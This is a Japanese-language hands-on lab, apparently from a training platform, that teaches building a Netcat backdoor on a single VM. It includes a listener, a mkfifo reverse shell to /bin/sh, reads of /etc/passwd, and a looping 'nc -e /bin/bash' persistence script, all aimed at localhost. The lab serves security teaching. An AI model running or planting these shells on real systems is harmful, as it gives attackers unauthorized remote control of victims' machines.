この実験では、多機能なネットワーキングツールである Netcat を使用して基本的なバックドアを作成し、システム間でリモート接続を確立する方法を学びます。実践的な演習を通じて、リスナーの設定、接続の開始、およびリモートコマンドの実行を練習します。
この実験では、サイバーセキュリティで使用される基本的なネットワーク通信技術を実演し、攻撃能力と防御上の考慮事項の両方について洞察を提供します。Netcat の機能に関する実践的な経験を積みながら、単純なツールをどのようにバックドア作成に利用できるかを理解します。
このステップでは、ネットワーク接続からの読み取りと書き込みを可能にする基本的なネットワーキングツールである Netcat（しばしば 'nc' と略されます）をインストールします。Netcat は、ネットワークのトラブルシューティングやデータ転送に役立つ万能ツールと考えてください。この実験では、コンピュータ間の接続を作成するための主要なツールとなります。
何かをインストールする前に、ソフトウェアが既に利用可能かどうかを確認するのが良い習慣です。多くの Linux システムには Netcat が事前にインストールされています。以下のコマンドを実行して、LabEx の仮想マシン（VM）環境でこれを確認しましょう。
nc -hこのコマンドは Netcat にヘルプ情報を表示するように要求します。コマンドオプションのリストが表示されたら、おめでとうございます - あなたのシステムには既に Netcat がインストールされています！代わりに「コマンドが見つかりません」というエラーが表示された場合は、心配しないでください - インストールプロセスをステップバイステップで説明します。
インストールプロセスには 3 つの簡単なコマンドが関係します。まず、Netcat の最新バージョンを取得するために、パッケージリストを更新する必要があります。
sudo apt update'sudo' 接頭辞は管理者権限を与え、'apt update' は利用可能なソフトウェアパッケージのリストを更新します。これが完了したら、実際のインストールを進めることができます。
sudo apt install -y netcat'-y' フラグは、インストールを続行することを自動的に確認します。これが完了したら、Netcat のバージョン情報を確認することで、正しくインストールされたことを検証する必要があります。
nc -hこれで、Netcat のコマンドオプションと構文を示す詳細な出力が表示されるはずです。以下の例のようになります。
[v1.10-46]
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]この出力は、Netcat が正しくインストールされ、実験の次のステップで使用できることを確認します。演習を進めるにつれて、表示される様々なオプションに慣れていくでしょう。
このステップでは、攻撃者マシン（LabEx の仮想マシン）を Netcat を使って着信接続を待機するように設定します。これは、電話を待機するような状態で、リスナーは他のマシンからの接続を受け入れる準備をします。これが後のステップでリモートコントロールを確立するための基礎となります。
cd ~/projectnc -lvnp 4444各フラグの役割を解説しましょう。
-l: Netcat をリスニングモードに設定します（電話を受けるような状態）-v: 詳細な接続情報を表示します（トラブルシューティングに役立ちます）-n: DNS ルックアップをスキップします（接続を高速化します）-p: 使用するポート番号を指定しますListening on 0.0.0.0 4444ターミナルが固まったように見えるかもしれませんが、これは Netcat が他のマシンからの接続を待機しているためで、正常な動作です。このターミナルウィンドウを閉じないでください。別のマシンから接続を確立する際にすぐに必要になります。
重要な注意点：実際のセキュリティテストや実世界のシナリオでは、専門家はしばしばリスナーをバックグラウンドで実行したり、tmux のようなツールを使って複数のセッションを管理します。この学習演習では、接続プロセスがどのように動作するかを明確に確認できるように、フォアグラウンドで実行することでシンプルにしています。
このステップでは、被害者マシンから Netcat リスナーに接続するシミュレーションを行います。単一の LabEx 仮想マシン内で作業しているため、2 つ目のターミナル接続を開くことで、同じマシンを使って攻撃者と被害者の両方の役割をシミュレートします。これは、セキュリティテストにおいて、デモンストレーション目的で 1 台のマシンが接続の両端を担う一般的な手法です。
nc -lvnp 4444新しいターミナルタブまたはウィンドウを開きます（ターミナル内で右クリックして「New Tab」を選択するか、Ctrl+Shift+T ショートカットを使用します）。この 2 つ目のターミナルは、シミュレーションにおける被害者マシンを表します。
新しいターミナルで、localhost を使ってリスナーに接続します（同じマシンを使用しているため）。IP アドレス 127.0.0.1 は常にローカルマシンを指します。
nc -nv 127.0.0.1 4444接続コマンドで使用されているフラグの説明：
-n: Netcat にホスト名を解決しないよう指示し、接続を高速化します。-v: 詳細な出力を提供し、接続の詳細を確認できます。Connection received on 127.0.0.1 12345Connection to 127.0.0.1 4444 port [tcp/*] succeeded!exit と入力して Enter キーを押し、クリーンに切断します。このステップでは、確立した Netcat 接続を通じてリモートでコマンドを実行する方法を学びます。これは、攻撃者が攻撃対象のシステムを制御するペネトレーションテストの基本的な手法を示しています。このプロセスを理解することで、セキュリティ担当者はこのような攻撃から防御することができます。
nc -lvnp 4444) - これは接続を待機している攻撃者マシンです。nc -nv 127.0.0.1 4444) - これは攻撃者に接続する攻撃対象のマシンをシミュレートしています。whoamiこのコマンドは被害者マシン（ターミナル 2）で実行されますが、適切な出力リダイレクトを設定していないため、まだ出力は表示されません。これは基本的な Netcat 接続で作業する際に一般的な初期の問題です。
ターミナル 2 で、出力リダイレクトを伴う適切なコマンドシェルを作成する高度な接続を確立します。
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -nv 127.0.0.1 4444 > /tmp/fこれにより、名前付きパイプ (/tmp/f) が作成され、標準出力とエラーメッセージの両方を攻撃者に送信する完全な対話型シェルが設定されます。
ls -la
pwd
uname -aid
cat /etc/passwd | head -5
ps aux | head -5これらのコマンドは、それぞれユーザー情報、システムアカウント、および実行中のプロセスを表示します。
~/project に簡単なスクリプトを作成できます。echo 'while true; do nc -lvnp 4444 -e /bin/bash; done' > ~/project/backdoor.sh
chmod +x ~/project/backdoor.shこのスクリプトは、実行されると常に接続を確立し、シェルアクセスを提供しようとします。
この最後のステップでは、バックドアスクリプトが意図通りに動作するかを検証します。このプロセスは、攻撃者が攻撃対象のシステムに長期的にアクセスを維持する方法を示しています。即時の機能と永続性（後で再接続できる機能）の両方をテストします。
始める前に、各コマンドが何をするかを理解しましょう。バックドアスクリプトは、着信接続を待機するリスニングポートを作成します。接続されると、攻撃者に被害者マシンでのリモートコマンド実行機能を提供します。
ls -la ~/project/backdoor.shcd ~/project
./backdoor.sh &ps aux | grep backdoor.shnc -nv 127.0.0.1 4444echo "Backdoor test successful" > ~/project/test.txt
cat ~/project/test.txtwhoami
hostnamenc -nv 127.0.0.1 4444cat ~/project/test.txtpkill -f backdoor.sh
rm ~/project/test.txt ~/project/backdoor.shこの実験では、汎用的なネットワーキングツールである Netcat を使用してバックドア接続を作成する方法を学びました。この演習では、Linux への Netcat のインストール、特定のフラグ (-lvnp) を使用したリスナーの設定、およびマシン間の秘密通信チャネルの確立について説明しました。
この実践的な経験を通じて、Netcat がリモートアクセスバックドアを作成する際の機能に関する実用的な知識を獲得しました。この実験では、不正アクセスに利用される可能性のあるネットワークユーティリティを使用する際の重要なセキュリティ上の考慮事項も強調されました。